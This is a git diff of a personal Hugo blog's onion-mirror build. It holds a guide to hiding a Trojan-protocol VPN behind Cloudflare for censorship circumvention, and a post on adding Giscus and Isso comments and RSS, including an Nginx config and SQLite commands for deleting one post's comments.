    + + Stealth Trojan VPN Behind Cloudflare Guide + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/ + Tue, 09 Sep 2025 11:05:00 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/ + <h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p> + Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    +
    Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
    +

    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    +
    trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
    +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
    +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
    +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
    +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
    +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
    +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
    +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
    +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
    +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
    +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
    +=IovZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md.asc
    +gpg --verify vpn.md.asc vpn.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/cloudflare/page/1/index.html b/public-onion/tags/cloudflare/page/1/index.html new file mode 100644 index 0000000..1240d8e --- /dev/null +++ b/public-onion/tags/cloudflare/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/cloudflare/ + + + + + + diff --git a/public-onion/tags/comments/index.html b/public-onion/tags/comments/index.html new file mode 100644 index 0000000..3482dd8 --- /dev/null +++ b/public-onion/tags/comments/index.html @@ -0,0 +1,356 @@ + + + + + + + +Comments | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW) +

    +
    +
    +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site. +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did. +I’ve been wanting to add comment section to my blog for a while. There are a few problems. +I don’t want to get attacked by bots or random people for no reason. I don’t want to allow weird things to happen. I don’t want to have a database for it. So… I decided to take a path which is not necesserially the best. It requires a third party to act on your behalf, but it is not as scary as it sounds. According to Github: +...

    +
    +
    October 23, 2025 · 15 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/comments/index.xml b/public-onion/tags/comments/index.xml new file mode 100644 index 0000000..c59ddaa --- /dev/null +++ b/public-onion/tags/comments/index.xml @@ -0,0 +1,640 @@ + + + + Comments on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/comments/ + Recent content in Comments on AlipourIm journeys + Hugo -- 0.146.0 + en + Thu, 23 Oct 2025 19:31:12 +0200 + + + New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/comments-rss-papermod/ + Thu, 23 Oct 2025 19:31:12 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/comments-rss-papermod/ + A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod. + +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.
    +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.

    +
    +

    I’ve been wanting to add comment section to my blog for a while. +There are a few problems.

    +
      +
    • I don’t want to get attacked by bots or random people for no reason.
    • +
    • I don’t want to allow weird things to happen.
    • +
    • I don’t want to have a database for it.
    • +
    +

    So… I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github:

    +
    +

    What the app can do +The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.

    +
    +

    What “Act on your behalf” means +That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.

    +
    +

    Do commenters have alternatives? +Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.

    +
    +

    Privacy & storage +No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.

    +

    With the notice out of the way let’s dive right in!

    +
    +

    Why I chose Giscus (instead of Disqus)

    +
      +
    • No ads or trackers (my page weight thanks me).
    • +
    • Uses GitHub Discussions (portable, transparent, easy to search).
    • +
    • Readers log in with GitHub (no mystery auth popups).
    • +
    • In theory you can directly go to the repo’s discussion section and comment there!
    • +
    +
    +

    What you need (for your site, not per user)

    +
      +
    • A Hugo site using PaperMod
    • +
    • A GitHub account ✅
    • +
    • A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅
    • +
    • Giscus app installed on that repo ✅
    • +
    +

    If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.

    +
    +

    1) Turn on comments with Giscus

    +

    PaperMod renders a comments.html partial when params.comments = true.
    +So we enable it in config and create the partial.

    +

    1.1 Enable comments globally

    +

    hugo.toml (snippet)

    +
    [params]
    +  comments = true
    +

    You can still opt out per post with comments = false in front matter.

    +

    1.2 Create the comments partial

    +

    Create this file in your site (not inside the theme):

    +
    layouts/partials/comments.html
    +

    Paste the Giscus embed (swap the placeholders with yours from giscus.app):

    +
    <section id="comments" class="giscus">
    +  <script
    +    src="https://giscus.app/client.js"
    +    data-repo="yourname/blog-comments"
    +    data-repo-id="YOUR_REPO_ID"
    +    data-category="Comments"
    +    data-category-id="YOUR_CATEGORY_ID" <!-- Get them from Giscus's page! -->
    +    data-mapping="pathname"
    +    data-strict="0"
    +    data-reactions-enabled="1"
    +    data-emit-metadata="0"
    +    data-input-position="bottom"
    +    data-theme="preferred_color_scheme"
    +    data-lang="en"
    +    data-loading="lazy"
    +    crossorigin="anonymous"
    +    async>
    +  </script>
    +  <noscript>Enable JavaScript to view comments powered by Giscus.</noscript>
    +</section>
    +

    Notes

    +
      +
    • You’ll get repo-id and category-id from giscus.app after picking your repo + category.
    • +
    • data-mapping="pathname" works great for static sites.
    • +
    • Prefer a public repo so visitors can read discussions without friction.
    • +
    • Want a different language? Change data-lang (e.g., de, fr).
    • +
    +
    +

    2) Enable RSS (home + sections)

    +

    Hugo already knows how to generate feeds; we just tell it where.

    +

    hugo.toml

    +
    baseURL = "https://example.com/"  # set your production URL
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]     # JSON is optional (e.g., for on-site search)
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1   # -1 = no cap; or set e.g. 20
    +

    Feed URLs

    +
      +
    • Home feed: /index.xmlhttps://example.com/index.xml
    • +
    • Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase)
    • +
    +
    +

    If you’re using a .onion address or staging domain, just set that in baseURL.
    +Locally, Hugo serves feeds at http://localhost:1313/index.xml.

    +
    +

    3) Show an RSS button on the home page

    +

    PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:

    +

    Option A — Use the home “social icons” row

    +

    This appears if you enable Home-Info or Profile mode:

    +
    [params.homeInfoParams]
    +  Title = "Hello, internet!"
    +  Content = "Notes, experiments, and occasional rabbit holes."
    +
    +[[params.socialIcons]]
    +  name = "rss"        # lowercase matters
    +  url  = "/index.xml"
    +
    +

    Create:

    +
    layouts/partials/extend_footer.html
    +

    Paste:

    +
    <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS" class="rss-link">
    +  {{ partial "svg.html" (dict "name" "rss") }}
    +  <span>RSS</span>
    +</a>
    +

    Make it a sensible size:

    +

    Create:

    +
    assets/css/extended/rss.css
    +

    Paste:

    +
    /* Small & aligned RSS icon in the footer */
    +.rss-link { display: inline-flex; align-items: center; gap: .35rem; }
    +.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/
    +.rss-link span { font-size: .95rem; }
    +

    PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.

    +
    +

    4) Verify everything

    +

    Build or run dev:

    +
    hugo           # outputs to ./public
    +# or
    +hugo server    # serves at http://localhost:1313
    +

    Check feeds:

    +
    # Home feed:
    +curl -s http://localhost:1313/index.xml | head
    +
    +# A section feed (adjust path to your section name):
    +curl -s http://localhost:1313/posts/index.xml | head
    +

    Check comments:

    +
      +
    1. Open any post locally.
    2. +
    3. Scroll to the bottom — Giscus should appear.
    4. +
    5. Try a reaction or comment (you’ll be prompted to sign in with GitHub).
    6. +
    +
    +

    5) Per-post controls (handy later)

    +

    Turn comments off for a single post:

    +
    # in that post’s front matter
    +comments = false
    +

    Full content in RSS (global):

    +
    [params]
    +  ShowFullTextinRSS = true
    +

    Show RSS buttons on section/taxonomy lists:

    +
    [params]
    +  ShowRssButtonInSectionTermList = true
    +

    +

    6) Troubleshooting (aka “what I bumped into”)

    +
      +
    • +

      Home page has no RSS icon
      +That’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.

      +
    • +
    • +

      Section feed 404
      +Folder names are lowercase (content/posts/, not content/Posts/).
      +The URL mirrors that: /posts/index.xml.

      +
    • +
    • +

      Giscus doesn’t create a discussion
      +Double-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.
      +Make sure Discussions is enabled and the Giscus app is installed for the repo.

      +
    • +
    • +

      Icon is comically large
      +Keep the CSS above; 16–20px usually looks right.

      +
    • +
    +
    +

    7) Bonus: fast setup via GitHub CLI (optional, I didn’t use it, but I should’ve perhaps)

    +
    # Create the public comments repo (adjust names)
    +gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm
    +
    +# Enable Discussions for it
    +gh repo edit yourname/blog-comments --enable-discussions
    +

    Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.

    +
    +

    Final config snapshot (condensed)

    +
    baseURL = "https://example.com/"
    +theme = "PaperMod"
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1
    +
    +[params]
    +  comments = true
    +  ShowRssButtonInSectionTermList = true
    +  ShowFullTextinRSS = true
    +
    +# Optional if using Home-Info/Profile mode:
    +# [[params.socialIcons]]
    +#   name = "rss"
    +#   url  = "/index.xml"
    +

    +

    Appendix — Why I added Isso, how I wired it, and what I fixed

    +

    The story (why Isso + why I still keep Giscus)

    +

    I wanted comments that:

    +
      +
    • allow anonymous replies (no GitHub account required),
    • +
    • are lightweight and self-hosted, and
    • +
    • can work on my Tor .onion mirror.
    • +
    +

    Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.

    +

    Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).

    +

    How I run it (high-level)

    +
      +
    • Site: Hugo + PaperMod
    • +
    • Isso: listening on 127.0.0.1:8080, stored locally (SQLite)
    • +
    • Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost
    • +
    • Hugo partial: renders the two panels (Isso & Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme
    • +
    +
    +

    I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.

    +

    Hugo partial: switcher + embeds

    +

    Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial "comments.html" . }}.

    +
    <!-- comments.html -->
    +<div class="comments-switch" style="display:flex;gap:.5rem;margin:.5rem 0 1rem;">
    +  <button id="btn-isso" type="button" aria-pressed="true">Anonymous (Isso)</button>
    +  <button id="btn-giscus" type="button" aria-pressed="false">GitHub (Giscus)</button>
    +  <a href="https://github.com/AlipourIm/blog-comments/discussions/categories/comments" target="_blank" rel="noopener">Open on GitHub ↗</a>
    +</div>
    +
    +<!-- Isso panel (default) -->
    +<div id="panel-isso">
    +  <section id="isso-thread"></section>
    +  <script
    +    src="/isso/js/embed.min.js"
    +    data-isso="/isso"
    +    data-isso-css="true"
    +    data-isso-lang="en"
    +    data-isso-max-comments-nested="5"
    +    data-isso-sorting="newest"
    +    async>
    +  </script>
    +  <small class="isso-powered" style="display:block;margin:.5rem 0;color:var(--secondary,#888)">
    +    Comments powered by <a href="https://isso-comments.de" target="_blank" rel="noopener">Isso</a>
    +  </small>
    +</div>
    +
    +<!-- Giscus panel (lazy-loaded on click) -->
    +<div id="panel-giscus" style="display:none">
    +  <section id="giscus-thread"></section>
    +</div>
    +
    +<script>
    +(function () {
    +  const panelIsso = document.getElementById('panel-isso');
    +  const panelGisc = document.getElementById('panel-giscus');
    +  const issoBtn = document.getElementById('btn-isso');
    +  const giscBtn = document.getElementById('btn-giscus');
    +  let gLoaded = false;
    +
    +  function isDark() {
    +    // 1) explicit PaperMod preference
    +    const pref = localStorage.getItem('pref-theme');
    +    if (pref === 'dark')  return true;
    +    if (pref === 'light') return false;
    +
    +    // 2) page state (classes / data-theme)
    +    const H = document.documentElement, B = document.body;
    +    const hasDark =
    +      H.classList.contains('dark') || B.classList.contains('dark') ||
    +      H.dataset.theme === 'dark'    || B.dataset.theme === 'dark' ||
    +      H.classList.contains('theme-dark') || B.classList.contains('theme-dark');
    +    if (hasDark) return true;
    +
    +    // 3) OS preference
    +    return window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
    +  }
    +  const gTheme = () => (isDark() ? 'dark_dimmed' : 'noborder_light');
    +
    +  function loadGiscus() {
    +    if (gLoaded) return;
    +    const s = document.createElement('script');
    +    s.src = 'https://giscus.app/client.js';
    +    s.async = true;
    +    s.crossOrigin = 'anonymous';
    +    s.setAttribute('data-repo','AlipourIm/blog-comments');
    +    s.setAttribute('data-repo-id','R_kgDOQGARyA');
    +    s.setAttribute('data-category','Comments');
    +    s.setAttribute('data-category-id','DIC_kwDOQGARyM4Cw3x-');
    +    s.setAttribute('data-mapping','pathname');
    +    s.setAttribute('data-strict','0');
    +    s.setAttribute('data-reactions-enabled','1');
    +    s.setAttribute('data-emit-metadata','0');
    +    s.setAttribute('data-input-position','bottom');
    +    s.setAttribute('data-lang','en');
    +    s.setAttribute('data-theme', gTheme());  // initial theme
    +    document.getElementById('giscus-thread').appendChild(s);
    +
    +    // Retheme once iframe exists
    +    const reTheme = () => {
    +      const iframe = document.querySelector('iframe.giscus-frame');
    +      if (!iframe) return;
    +      iframe.contentWindow?.postMessage(
    +        { giscus: { setConfig: { theme: gTheme() } } },
    +        'https://giscus.app'
    +      );
    +    };
    +
    +    // PaperMod toggle button
    +    document.getElementById('theme-toggle')?.addEventListener('click', () =>
    +      setTimeout(reTheme, 0)
    +    );
    +
    +    // Also react to attribute changes
    +    const mo = new MutationObserver(reTheme);
    +    mo.observe(document.documentElement, { attributes: true, attributeFilter: ['class','data-theme'] });
    +    mo.observe(document.body,             { attributes: true, attributeFilter: ['class','data-theme'] });
    +
    +    gLoaded = true;
    +  }
    +
    +  function show(which) {
    +    const showIsso = which === 'isso';
    +    panelIsso.style.display = showIsso ? 'block' : 'none';
    +    panelGisc.style.display = showIsso ? 'none'  : 'block';
    +    issoBtn?.setAttribute('aria-pressed', showIsso);
    +    giscBtn?.setAttribute('aria-pressed', !showIsso);
    +    if (!showIsso) loadGiscus();
    +  }
    +
    +  issoBtn?.addEventListener('click', e => { e.preventDefault(); show('isso'); });
    +  giscBtn?.addEventListener('click', e => { e.preventDefault(); show('giscus'); });
    +
    +  // default
    +  show('isso');
    +})();
    +</script>
    +

    Nginx: proxy Isso on both sites (and avoid the 404-onion trap)

    +

    The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.

    +

    Fix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.

    +
    # /etc/nginx/sites-enabled/onion-blog  (same idea for the clearnet vhost)
    +server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost;
    +
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +
    +    # /isso -> /isso/
    +    location = /isso { return 301 /isso/; }
    +
    +    # IMPORTANT: this must beat regex locations below
    +    location ^~ /isso/ {
    +        proxy_pass http://127.0.0.1:8080/;    # Isso container/port
    +        proxy_http_version 1.1;
    +        proxy_set_header Host $host;
    +        proxy_set_header X-Forwarded-Host $host;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +        proxy_redirect off;
    +        proxy_read_timeout 60s;
    +    }
    +
    +    # static
    +    location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Reload and smoke test:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -I http://<your-onion-host>/isso/js/embed.min.js   # expect 200
    +
    +

    If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso="/isso"), you don’t need CORS.

    +

    Small CSS tweaks (one color across light/dark + spacing)

    +

    I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:

    +
    /* put this in your site CSS */
    +:root { --btn-blue: #2563eb; } /* adjust to taste */
    +
    +/* Isso form buttons */
    +.isso-post-action input[type="submit"],
    +.isso-post-action input[name="preview"] {
    +  background: var(--btn-blue) !important;
    +  color: #fff !important;
    +  border: none;
    +  padding: .5rem .75rem;
    +  border-radius: .4rem;
    +  cursor: pointer;
    +}
    +
    +/* link actions under comments */
    +.isso-comment-footer a {
    +  color: var(--btn-blue) !important;
    +  margin-right: .5rem;       /* gives "edit" and "delete" some breathing room */
    +  text-decoration: none;
    +}
    +.isso-comment-footer a:hover { text-decoration: underline; }
    +
    +/* keep name/email/website stacked, slightly larger */
    +.isso-auth-section .isso-input-wrapper {
    +  display: block;
    +  margin: .35rem 0;
    +}
    +.isso-auth-section label { font-size: .95rem; }
    +.isso-auth-section input[type="text"],
    +.isso-auth-section input[type="email"],
    +.isso-auth-section input[type="url"] {
    +  width: 100%;
    +  font-size: 1rem;
    +  padding: .5rem .6rem;
    +}
    +

    What changed (the fixes I actually made)

    +
      +
    1. +

      Theme correctness for Giscus.
      +PaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:

      +
        +
      • read localStorage.pref-theme first,
      • +
      • fall back to class/data-theme, then
      • +
      • fall back to OS preference.
        +I also re-theme the Giscus iframe on every toggle via postMessage.
      • +
      +
    2. +
    3. +

      Isso over Tor.
      +On the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.

      +
    4. +
    5. +

      UI polish.

      +
        +
      • Unified button/link color across themes,
      • +
      • ensured “edit”/“delete” aren’t touching,
      • +
      • kept the author/email/website inputs stacked, and
      • +
      • left Submit/Preview styled and grouped.
      • +
      +
    6. +
    +

    Sanity check

    +
      +
    • Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload.
    • +
    • Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200.
    • +
    • Switcher buttons swap panels instantly; Giscus only loads when clicked.
    • +
    +

    8) Final notes!

    +

    I could not fully fix the style of Isso. +CSS is not easy… drat!

    +

    I don’t think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I’m happy with it! ^^

    +

    Admin note — Delete all Isso comments for a single post

    +

    This note is for future me: how to remove every comment tied to one post in Isso.
    +Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.

    +
    +

    TL;DR (host with SQLite)

    +
    +

    Replace the placeholders for DB and POST_URI first.

    +
    # 0) Variables — edit these two lines for your setup
    +DB="/var/lib/isso/comments.db"          # path to your Isso SQLite DB (check isso.conf: [general] dbpath)
    +POST_URI="/posts/skin_routine/"         # the post's URI as stored by Isso (often just the path)
    +
    +# 1) Backup (always do this!)
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +
    +# 2) Inspect: find the thread row and preview the comments
    +sqlite3 "$DB" "
    +.headers on
    +.mode column
    +SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +SELECT id, tid, created, author, text
    +FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%')
    +ORDER BY created DESC
    +LIMIT 25;
    +"
    +
    +# 3) Delete all comments for that post (thread)
    +sqlite3 "$DB" "
    +DELETE FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');
    +"
    +
    +# 4) (Optional) Remove the now-empty thread row too
    +sqlite3 "$DB" "
    +DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +VACUUM;
    +"
    +
    +# 5) Done. Isso usually picks this up automatically.
    +#    If you're containerized and want to be safe:
    +# docker restart <isso_container_name>
    +

    +

    If running Isso in Docker

    +

    Open a shell in the container, then run the same steps:

    +
    docker exec -it <isso_container_name> /bin/sh
    +
    +# Inside the container:
    +DB="/db/comments.db"    # or /data/comments.db, check your image/volume mapping
    +POST_URI="/posts/skin_routine/"
    +
    +sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +exit
    +
    +# Optionally restart the container:
    +docker restart <isso_container_name>
    +

    +

    Notes & gotchas

    +
      +
    • Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for: +
      [general]
      +dbpath = /var/lib/isso/comments.db
      +
    • +
